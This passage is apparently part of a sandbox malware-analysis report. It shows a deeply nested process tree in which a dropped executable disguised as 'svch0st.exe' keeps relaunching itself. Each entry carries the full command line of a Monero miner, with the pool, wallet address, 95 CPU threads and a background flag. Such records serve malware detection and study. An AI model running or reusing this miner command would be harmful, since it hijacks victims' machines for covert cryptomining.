        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        13⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5556
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        14⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5676
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        15⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5808
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        16⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5920
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        17⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6032
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        18⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6128
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        19⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5824
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        20⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6172
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        21⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6308
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        22⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:6428
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        23⤵
        Executes dropped EXE
        
        PID:6532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        24⤵
        
        PID:6676
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        25⤵
        
        PID:6780
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        26⤵
        
        PID:6892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        27⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        28⤵
        
        PID:7104
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        29⤵
        
        PID:3832
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        30⤵
        
        PID:7212
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        31⤵
        
        PID:7304
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        32⤵
        
        PID:7420
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        33⤵
        
        PID:7524
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        34⤵
        
        PID:7640
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        35⤵
        
        PID:7744
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        36⤵
        
        PID:7832
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        37⤵
        
        PID:7952
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        38⤵
        
        PID:8052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        39⤵
        
        PID:8168
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        40⤵
        
        PID:7988
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        41⤵
        
        PID:8272
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        42⤵
        
        PID:8396
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        43⤵
        
        PID:8504
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        44⤵
        
        PID:8616
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        45⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        46⤵
        
        PID:8844
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        47⤵
        
        PID:8932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        48⤵
        
        PID:9020
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        49⤵
        
        PID:9112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        50⤵
        
        PID:8064
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        51⤵
        
        PID:772
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        52⤵
        
        PID:3476
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        53⤵
        
        PID:9220
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        54⤵
        
        PID:9332
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        55⤵
        
        PID:9432
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        56⤵
        
        PID:9532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        57⤵
        
        PID:9644
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        58⤵
        
        PID:9740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        59⤵
        
        PID:9848
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        60⤵
        
        PID:9952
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        61⤵
        
        PID:10052
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        62⤵
        
        PID:10136
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        63⤵
        
        PID:10220
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        64⤵
        
        PID:10148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        65⤵
        
        PID:10340
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        66⤵
        
        PID:10444
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        67⤵
        
        PID:10556
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        68⤵
        
        PID:10660
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        69⤵
        
        PID:10784
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        70⤵
        
        PID:10892
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        71⤵
        
        PID:10976
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        72⤵
        
        PID:11072
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        73⤵
        
        PID:11176
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        74⤵
        
        PID:11260
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        75⤵
        
        PID:11296
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        76⤵
        
        PID:11400
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        77⤵
        
        PID:11504
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
